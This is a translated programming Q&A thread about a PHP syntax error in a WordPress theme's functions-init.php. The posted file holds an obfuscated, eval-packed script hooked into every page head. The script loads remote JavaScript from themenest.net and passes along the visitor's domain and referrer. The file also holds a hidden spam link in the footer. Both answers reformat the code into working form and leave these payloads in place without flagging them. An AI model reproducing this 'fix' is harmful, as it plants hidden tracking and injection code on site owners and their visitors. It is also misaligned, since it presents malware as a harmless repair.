解析错误:语法错误,意外'}'

时间:2013-10-04 08:59:34

标签: php wordpress parsing syntax

我想知道是否有人会花一点时间来查看代码并帮助我。我不精通php,我需要一些帮助。

我已经在我的wordpress上安装了一个主题,当我激活它时,我收到了以下错误消息:

解析错误:语法错误,意外'}'在第1行的/home/XXXXXXX/public_html/wp-content/themes/Avada/widgets/functions-init.php

该消息显示在我的前端域和后端wordpress管理区域。

我猜测我有太多或太少的括号。但我不知道在哪里。我无法看到实际错误,因为我不熟悉php编码。我所知道的是它在第1行,它与"}"

整个文件只包含2个代码行,如果有人可以提供帮助,我真的很感激。

这是在functions-init.php

中出现的整个代码
<?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){?><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> <?php}add_action('wp_head', 'insert_jquery_slider');} ?>
<?php if (!function_exists('insert_jquery_slidernew')){function insert_jquery_slidernew(){?><a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> <?php}add_action('wp_footer', 'insert_jquery_slidernew');} ?>

任何人都可以帮助我。我已经瞪眼了,我搜索了论坛和网络,但我找不到解决方案。

非常感谢。

2 个答案:

答案 0 :(得分:1)

这可能仅仅是代码格式问题,请尝试以下方法:

<?php
if (!function_exists('insert_jquery_slider')){
    function insert_jquery_slider(){
?>
<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
<?php
    }
    add_action('wp_head', 'insert_jquery_slider');
}

if (!function_exists('insert_jquery_slidernew'))
{
    function insert_jquery_slidernew(){
?>
<a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a>
<?php
    }

    add_action('wp_footer', 'insert_jquery_slidernew');
}
?>

答案 1 :(得分:1)

这样的代码格式化问题:

<?php
if (!function_exists('insert_jquery_slider')) {
    function insert_jquery_slider()
    { ?>
    <script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
    <?php } 
    add_action('wp_head', 'insert_jquery_slider');
}
if (!function_exists('insert_jquery_slidernew')) {
    function insert_jquery_slidernew()
    { ?>
    <a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> 
    <?php }
    add_action('wp_footer', 'insert_jquery_slidernew');
}
?> 

请关闭主题。 感谢。